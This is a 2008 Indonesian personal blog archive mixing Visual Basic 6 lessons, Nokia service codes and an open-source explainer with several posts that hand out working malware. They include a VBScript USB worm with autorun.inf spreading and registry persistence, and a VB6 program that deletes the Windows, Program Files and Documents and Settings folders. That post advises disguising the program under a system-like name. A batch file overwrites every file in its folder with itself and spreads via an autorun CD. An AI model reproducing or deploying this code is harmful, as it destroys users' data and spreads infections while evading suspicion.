Selasa, 18 November 2008

Minggu, 26 Oktober 2008

Mencegah virus tanpa anti virus

quantumbox's blog

Di indonesia saat ini sudah banyak sekali beredar virus-virus lokal yang merupakan hasil karya anak bangsa. Kalau hal-hal yang buruk memang kita jagoannya, sedangkan perkembangan anti virus lokal tidak secepat perkembangan virus yang telah menjamur saat ini. Sedangkan anti virus profesional produk luar negeri seringkali tidak mengenal virus-virus lokal ini, sebab anti virus seringkali hanya bisa mendeteksi virus yang sudah di analisa oleh Lab anti virus. Untuk mencegah virus menginfeksi komputer kita sebenarnya tidak perlu anti virus. Yang kita butuhkan sebenarnya adalah kehati-hatian kita sewaktu membuka file. Berikut adalah beberapa tips membuka file agar tidak tertular virus

  1. Jika anda membuka flashdisk atau disket dari My Computer, jangan sekali-kali klik dua kali icon flashdisk anda. Gunakan pencabangan folder sebelah kiri ( untuk memunculkannya klik icon folder atau dari menu View > Explorer Bar > Folders ). Hal ini dikarenakan adanya script autorun.inf didalam flashdisk yang secara otomatis akan mengeksekusi virus meskipun kita belum membuka file tersebut
  2. Virus yang beredar saat ini biasanya berupa aplikasi yang menyamar seperti folder atau dokumen, hal ini sangat dimungkinkan karena aplikasi bebas menentukan icon yang digunakan. Jadi berhati-hatilah membuka dokumen, lihat detil file, jika keterangannya aplikasi sedangkan tampilannya seperti folder maupun maupun dokumen word maka file tersebut hampir bisa di pastikan adalah virus
  3. Untuk memunculkan detail file caranya klik menu View > Details
  4. Prinsip penyebarannya adalah virus menyerupai file dokumen maupun folder anda, saat anda klik dua kali, file virus tersebut akan dieksekusi sekaligus juga membuka file anda yang sesungguhnya yang telah disembunyikan terlebih dahulu, hal ini dilakukan untuk mencegah kecurigaan pengguna.
  5. Jadi untuk membuka file, anda harus menampakkan file yang tersebunyi, caranya adalah klik menu Tools > Folder Options, klik tab View, pilih Show Hidden Files and Folders dan hilangkan checkbox Hide Proteced operating system files (recomended). Kalo folder option tidak muncul berarti komputer anda telah terinfeksi virus sebelumnya.

Tutorial ini hanya untuk mencegah virus masuk ke dalam komputer anda, bukan untuk menghilangkan virus. Kapan-kapan nanti penulis akan menjelaskan tentang hal ini pada blog yang lain

Tentang VB Script

VB Script atau Visual Basic Script sebenarnya hanyalah teks biasa yang berisi kode pemrograman dengan bahasa visual basic dan disimpan dengan format vbs. Untuk membuat vbscript cukup menggunakan teks editor sederhana seperti Notepad atau menggunakan yang lebih lengkap seperti Ultra Edit atau Notepad++. Berikut adalah contoh membuat vbscript sederhana.

  1. Buka program Notepad dari Start > All Programs > Accessories > Notepad.
  2. Tulis teks berikut ini
    Msgbox "Ini adalah contoh VB Script Sederhana"
  3. Kemudian simpan file dengan Save as Type di ubah ke All files
  4. Beri nama file tersebut dengan tambahan .vbs dibelakang. Contohnya ScriptSederhanan.vbs
  5. Sekarang lihat tampilan ikon file di explorer, tidak lagi berupa teks. Coba klik 2 kali file tersebut, maka akan muncul kotak dialog bertuliskan Ini adalah contoh VB Script Sederhana.
  6. Yang dibutuhkan bagi vbscript untuk menjadi virus hanyalah kode yang tepat sehingga mengikuti proses yang dijelaskan di atas.

Contoh Kode Virus Sederhana

Berikut adalah contoh kode virus menggunakan vbscript sederhana. Jika ingin mencoba sebaiknya Anti virus di matikan dan Install juga Deep Freeze, kemudian bekukan seluruh harddrive

*****

'El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost",winpath&"\svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",""
rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3"
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox "Hai orang-orang, ingatlah kiamat akan datang" & vbcrlf & _
"Karena itu, sholat dan beribadahlah engkau" & vbcrlf & _
"Karena jika tidak, siksa neraka telah menunggu ," & vbcrlf & _
" KIAMAT SUDAH DEKAT!!!" & vbcrlf & vbcrlf & _
" Suara dari orang risau dengan keadaan dunia"

loop

Rabu, 15 Oktober 2008

Kode Rahasia Ponsel

Untuk mengetahui kode akses (informasi) tersembunyi,
tekanlah kode akses di bawah ini dan diikuti tekan
"CALL" (biasanya bergambar gagang telepon hijau)

KODE AKSES NOKIA
*#30# Menampilkan 'private number' yg menghubungi Anda
*#73# Mereset timer ponsel dan skor game (pd bbrp ponsel)
*#7780# Mengembalikan ke setting pabrik (factory setting)
*#2820# Alamat IP perangkat Bluetooth (hanya utk yg memiliki fitur Bluetooth)
xx# Akses cepat ke nama/nomor telepon di phonebook ponsel misal 20#
Tombol OFF Menekan dg singkat, utk berpindah antar profile
*3370# Mengaktifkan ENHANCED FULL RATE Codec (EFR). Ponsel Nokia Anda akan
memakai kualitas suara terbaik, namun fitur ini memerlukan energi lebih shg
sedikit menguras daya baterai. Catatan: kode ini tidak berlaku di ponsel2
Symbian.
#3370# Menonaktifkan Enhanced Full Rate Codec (EFR)
*#4720# Mengaktifkan Hall Rate Codec. Ponsel Nokia Anda akan menggunakan
kualitas suara lebih rendah shg bisa menghemat energi baterai sekitar 30%
#4720# Menonaktifkan Half Rate Codec
*#0000# Menampilkan versi software ponsel. Baris pertama menunjukkan versi
software, baris kedua menunjukkan tgl pembuatan software, baris ketiga
menunjukkan tipe kompresi yg digunakan.
*#9999# Kode alternatif jika *#0000# tidak bekerja
*#06# Melihat nomor international Mobile Equipment Identity (nomor IMEI)
*#21# Mengecek nomor panggilan "All Calls" yg digunakan
*#2640# Menampilkan kode keamanan ponsel yg digunakan (bila masih
menggunakan standard kode tidak akan terlihat)
*#43# Mengecek status "Call Waiting"
*#61# Untuk mengecek nomor pemanggil yg dialihkan ketika tak Anda jawab
(Jika Anda mengaktifkan Call Divert/pengalihan panggilan)
*#62# Mengecek nomor pemanggil yg dialihkan ketika ponsel Anda di luar
jangkauan (jika Anda mengaktifkan Call Divert/pengalihan panggilan)
*#67# Mengecek nomor pemanggil yg dialihkan ketika ponsel Anda sedang sibuk
(Jika Anda mengaktifkan call Divert/pengalihan panggilan)
**21*number# Menghidupkan pengalihan "All Calls" pada nomor yg diisi
**61*number# Menghidupkan pengalihan "No Reply" pada nomor yg diisi
**67*number# Menghidupkan pengalihan "On Busy" pada nomor yg diisi
*#67705646# Mengganti Logo Operator Logo pada Nokia 3310 dan 3330
*#746025625# Menampilkan status SIM Clock. Jika ponsel Anda mendukung fitur
penghemat energi akan keluar tulisan "Sim Clock Stop Allowed", artinya Anda
akan mendapatkan waktu standby yg lebih panjang.
*#7760# Menampilkan kode pabrikan (utk sebagian besar ponsel tipe lama)
*#92702689# Memunculkan: 1.Serial Number (nomor serial), 2.Date Made (tgl
pembuatan), 3.Purchase Date (tgl pembelian), 4. Date of last repair (tgl
terakhir perbaikan / 0000 utk yg belum pernah diperbaiki). 5. Transfer User
Data. Di bbrp ponsel, untuk keluar dari mode ini Anda harus merestart ponsel.

Sumber :
http://www.gsn-soeki.com/wouw/

Cara Bikin Viruz Tanpa kedetek Anti Virus

Nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih g’ bakal kedekteksi antivirus, soalnya cara kerjanya simple gt

Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB

—- more —-

Tutorial Bikin Virus cman 1 mnt

1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3. Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…

Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…

4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain

5. Jangan pernah naroh nama lu di nih virus… k?

6. compile deh… slese!

Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri.

Reff : http://neolisense.wordpress.com/

Minggu, 12 Oktober 2008

Pengertian Open Source




Artikel ini saya dapatkan dari http://irfangeom.blogspot.com/2008/05/cara-mengganti-template-blogger.html dan materi yang pernah saya dapat di kuliah.

Open source software adalah istilah yang digunakan untuk software yang membuka/membebaskan source codenya untuk dilihat oleh orang lain dan membiarkan orang lain mengetahui cara kerja software tersebut dan sekaligus memperbaiki kelemahan-kelemahan yang ada pada software tersebut. Dan yang menarik dan salah satu keunggulannya adalah bahwa Open source software dapat diperoleh dan digunakan secara gratis tanpa perlu membayar lisensi. Biasanya orang mendapatkan software ini dari internet. Salah satu open source software yang terkenal yaitu Linux.

Keberadaan open source software ini sangat ditunjang oleh internet. Mula-mula Open source software diambil dari internet kemudian digunakan oleh orang dan diperbaiki apabila ada kesalahan. Hasil perbaikan dari open source ini kemudian dipublikasikan kembali melalui internet yang memungkinkan orang lain menggunakan dan memperbaikinya. Dan begitulah seterusnya. Saat ini sangat mudah mendapatkan open source software di internet.

Pengembangan open source software melibatkan banyak orang dari berbagai penjuru dunia yang berinteraksi melalui internet. Maka bermunculanlah berbagai macam software yang dibuat berbasis open source ini yang dipublikasikan melalui internet. Pola open source ini telah melahirkan developer-developer handal dari berbagai penjuru dunia.

Dengan pola open source orang dapat membuat dan mengembangkan apa yang disebut dengan free software. Software ini dapat digunakan tanpa perlu membayar lisensi atau hak cipta karena memang dikembangkan dengan pola open source. Jadi, dengan pola open source orang dapat mengembangkan software dan mempublikasikannya dengan bebas melalui internet. Maka tidak heran apabila kita akan banyak menemukan free software ini di internet dan bisa secara bebas mendownloadnya tanpa perlu membayar uang sepeser pun kepada pengembang software tersebut.

Free software disini juga bukan program kacangan. Anggapan bahwa barang yang gratis jelek kualitasnya tidak berlaku buat free software. Karena sudah terbukti kehandalannya. Dan karena free software berbasis open source maka software tersebut sudah melalui proses perbaikan yang terus menerus. Jadi tidak ada alasan tidak mau menggunakan free software ini dengan alasan kualitasnya yang tidak baik.

Dengan karakteristik yang telah disebutkan di atas maka tidak salah apabila kita menaruh harapan pada open source ini sebagai platform alternatif yang bisa kita gunakan dalam komputer kita. Penerapan pola open source di Indonesia juga dapat menghilangkan pemakaian software komersial secara ilegal dan memungkinkan bangsa Indonesia dikenal karya ciptanya dengan ikut mengembangkan open source software.

Minggu, 21 September 2008

Buat virus pake notepad

Hai hai...
Buat kamu-kamu yang pengen buat viruz, ne gue punya ilmu dikit..
Loe tinggal copy paste ne source,,
Terserah loe mo pake apa,kalau gue sih pake notepad...

FOR %%R IN (*.*) DO COPY %0 "%%R"
REN *.* *.BAT

- Lalu loe SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- Terusa loe buat deh Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- Lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- Sekarang loe nikmati efeknya

Wallpaper Abadi

Kamu mungkin sebel kalau wallpaper komputer kamu digonta-ganti sama teman kamu.
Wallpaper yang ga sreg di hati seseorang biasanya akan membuat orang itu mengubah.
Agar wallpaper yang telah ditentukan tidak diubah-ubah oleh temanmu, neh gue punya caranya:

1. Klik [Start]>[Run...] lalu ketik regedit.
2. Masuklah ke subkey HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies.
3. Klik [Edit] > [New] > [Key] untuk membuat subkey baru dan beri nama ActiveDesktop.
4. Klik kanan di jendela bagian kanan, lalu klik [New] > [DWORD Value].
5. Bernama DWORD value baru dengan nama NoChangingWallpaper.
6. Isikan value data-r\ya dengan 1.
7. Keluar dari Registry Editor dan restart Windows untuk merasakan perubahan.

Mengenal Data dan Variabel

Ketika seorang user (pengguna) menggunakan sebuah program komputer, seringkali computer memintanya untuk memberikan informasi. Informasi ini kemudian disimpan atau diolah oleh komputer. Informasi inilah yang disebut dengan DATA.


Visual Basic 6 mengenal beberapa type data, antara lain :

  • String adalah type data untuk teks (huruf, angka dan tanda baca).
  • Integer adalah type data untuk angka bulat.
  • Single adalah type data untuk angka pecahan.
  • Currency adalah type data untuk angka mata uang.
  • Date adalah type data untuk tanggal dan jam.
  • Boolean adalah type data yang bernilai TRUE atau FALSE.

Data yang disimpan di dalam memory komputer membutuhkan sebuah wadah. Wadah inilah yang disebut dengan VARIABEL. Setiap variabel untuk menyimpan data dengan type tertentu membutuhkan alokasi jumlah memory (byte) yang berbeda.

Variabel dibuat melalui penulisan deklarasi variabel di dalam kode program :

Dim As

Contoh : Dim nama_user As String

Aturan di dalam penamaan variabel :

  • Harus diawali dengan huruf.
  • Tidak boleh menggunakan spasi. Spasi bisa diganti dengan karakter underscore (_).
  • Tidak boleh menggunakan karakter-karakter khusus (seperti : +, -, *, /, <, >, dll).
  • Tidak boleh menggunakan kata-kata kunci yang sudah dikenal oleh Visual Basic 6 (seperti : dim, as, string, integer, dll).

Sebuah variabel hanya dapat menyimpan satu nilai data sesuai dengan type datanya. Cara mengisi nilai data ke dalam sebuah variabel :

=

Contoh : nama_user = “krisna”

Untuk type data tertentu nilai_data harus diapit tanda pembatas. Type data string dibatasi tanda petikganda : “nilai_data”. Type data date dibatasi tanda pagar : #nilai_data#. Type data lainnya tidak perlu tanda pembatas.

Sebuah variabel mempunyai ruang-lingkup (scope) dan waktu-hidup (lifetime) :

  • Variabel global adalah variabel yang dapat dikenali oleh seluruh bagian program. Nilai data yang tersimpan didalamnya akan hidup terus selama program berjalan.
  • Variabel lokal adalah variabel yang hanya dikenali oleh satu bagian program saja. Nilai data yang tersimpan didalamnya hanya hidup selama bagian program tersebut dijalankan.

Variabel yang nilai datanya bersifat tetap dan tidak bisa diubah disebut KONSTANTA.

Penulisan deklarasi konstanta di dalam kode program :

Const As =

Contoh : Const tgl_gajian As Date = #25/09/2003#

"dikutip dari ilmukomputer.com"

Pengertian Metode dan Event



Metode

Bahwa jalannya program dapat diatur sesuai aplikasi dengan menggunakan metode pemrograman yang diatur sebagai aksi dari setiap komponen. Metode inilah tempat untuk mengekpresikan logika pemrograman dari pembuatan suatu prgram aplikasi.

Event
Setiap komponen dapat beraksi melalui event, seperti event click pada command button yang tertulis dalam layar script Command1_Click, atau event Mouse Down pada picture yang tertulis dengan Picture1_MouseDown. Pengaturan event dalam setiap komponen yang akan menjalankan semua metode yang dibuat.

Dibawah ini merupakan beberapa macam event yang dapat diaktifkan oleh pemakai program :

  • Event Untuk Mouse

Click

Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse dengan cepat saat pointer mouse berada di atas sutu control.

DblClick

Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse sebanyak dua kali dengan cepat tanpa memindahkan posisi pointer mouse.

MouseDown

Event ini terjadi apabila pemakai program hanya menekan dan menahan tombol kiri mouse.

MouseUp

Event ini terjadi apabila pemakai program melepas tombol kiri mouse.

MouseMove

Event ini terjadi apabila pemakai program hanya memindahkan mouse tanpa menekan tombolnya.

  • Event Untuk Keyboard

KeyPress

Event ini terjadi apabila sebuah tombol keyboard ditekan. Untuk menyatakan jenis tombol keyboard yang ditekan maka digunakan kode ASCII.

KeyDown

Event ini terjadi apabila pemakai program menekan dan menahan sebuah tombol keyboard.

KeyUp

Event ini terjadi apabila pemakai program melepas sebuah tombol keyboard.

Penggunaan Procedure



1. Apa itu Procedure ?

Procedure adalah blok kode program yang berisi perintah-perintah untuk mengerjakan tugas tertentu. Bila di dalam kode program yang kita buat ada perintah-perintah untuk melakukan tugas yang sama di beberapa tempat, maka akan lebih baik perintah-perintah tersebut dibuat dalam sebuah procedure. Kemudian, procedure itu bisa di-‘panggil’ bila diperlukan.

Penggunaan procedure sangat menghemat penulisan kode program, karena kode-kode program yang sama dibeberapa tempat cukup dibuat pada satu bagian saja. Selain itu, procedure akan memudahkan perbaikan kode program bila terjadi perubahan atau kesalahan, karena perbaikan cukup dilakukan pada satu bagian saja.

2. Jenis-jenis Procedure

Pada VB6 ada 4 jenis procedure, yaitu :

  1. Procedure Sub – procedure yang tidak mengembalikan nilai setelah ‘tugas’-nya selesai.
  2. Procedure Function – procedure yang mengembalikan nilai setelah ‘tugas’-nya selesai.
  3. Procedure Event – procedure untuk suatu event pada sebuah object. Digunakan di dalam class module.
  4. Procedure Property – procedure untuk mengubah (let) atau mengambil (get) nilai property pada sebuah object. Digunakan di dalam class module.


"dikutip dari ilmukomputer.com"

Langkah Untuk Membuat Suatu Program Atau Aplikasi

Berikut adalah langkah – langkah untuk membuat sebuah program menggunakan Visual Basic 6 :

Langkah 1 adalah Merancang Tampilan Program

Setelah Visual Basic diaktifkan, Visual Basic akan menampilkan proyek dengan nama Project1. Di dalam Project1 terdapat form dengan nama Form1. Sekarang tempatkan beberapa control pada Form1, dengan cara sebagai berikut :

  1. Klik dua kali control Label pada ToolBox. Label tersebut akan ditampilkan ditengah-tengah Form1 sebagai Label1. Klik dan tahan label tersebut kemudian pindahkan dengan menggeserke posisi kiri atas dari Form1.
  2. Dengan cara yang sama, tambahkan lagi sebuah label di bawah Label1. Label ini akan ditampilkan Label2.
  3. Terakhir klik dua kali control CommandButton. Tempatkan CommandButton1 ke posisi kanan paling bawah dari Form1.

Langkah 2 adalah Mengatur Properti

1. Atur property project, dengan cara:

  1. Klik Project1 pada jendela Project, kemudian tekan tmbol F4 untuk mengaktifkan jendela Properties. Klik dua kali property Name kemudian ketikkan PrjContoh.

2. Atur Properti Form, dengan cara :

  1. Klik area Form1, tekan tombol F4 untuk mengaktifkan jendela Properties. Klik dua kali property Name kemudian ketikkan FrmContoh.
  2. Klik BorderStyle, atur menjadi 1-FixedSingle.
  3. Klik property Caption, lalu ketikkan Contoh Program.

3. Atur property Label1 dan Label2, dengan cara :

  1. Klik Label1, kemudian atur property Name menjadi lblselamat, property Caption menjadi Selamat Menggunakan dan property Autosize menjadi True.
  2. Atur property Font, dengan pilihan Font : MS Sans Serif, Font style : Reguler dan Size 12.
  3. Klik Label2, kemudian atur property Name menjadi lblvb6, property Caption menjadi Visual Basiz 6 dan property Autosize menjadi True.
  4. Atur property Font, dengan pilihan Font : MS Sans Serif, Font style : Reguler dan Size 12.

4. Atur property Command1, dengan cara :

  1. Klik Command1, kemudian atur property Name menjadi cmdclose dan property Caption menjadi Close.

Langkah 3 adalah Mengetikan Kode Program

Untuk mengetikkan kode program, lakukan dengan cara klik dua kali Command1 (Command Close) kemudian kettikan kode program berikut :

Private Sub cmdclose_Click()

Unload Me

End Sub

Langkah 4 adalah Menjalankan dan Menghentikan Program

  1. Untuk menjalankan program, anda dapat melakukannya dengan menekan tombol F5 atau dengan mengklik tombol Start.
  2. Untuk menghentikan program, anda dapat melakukannya dengan cara menekan tombol End.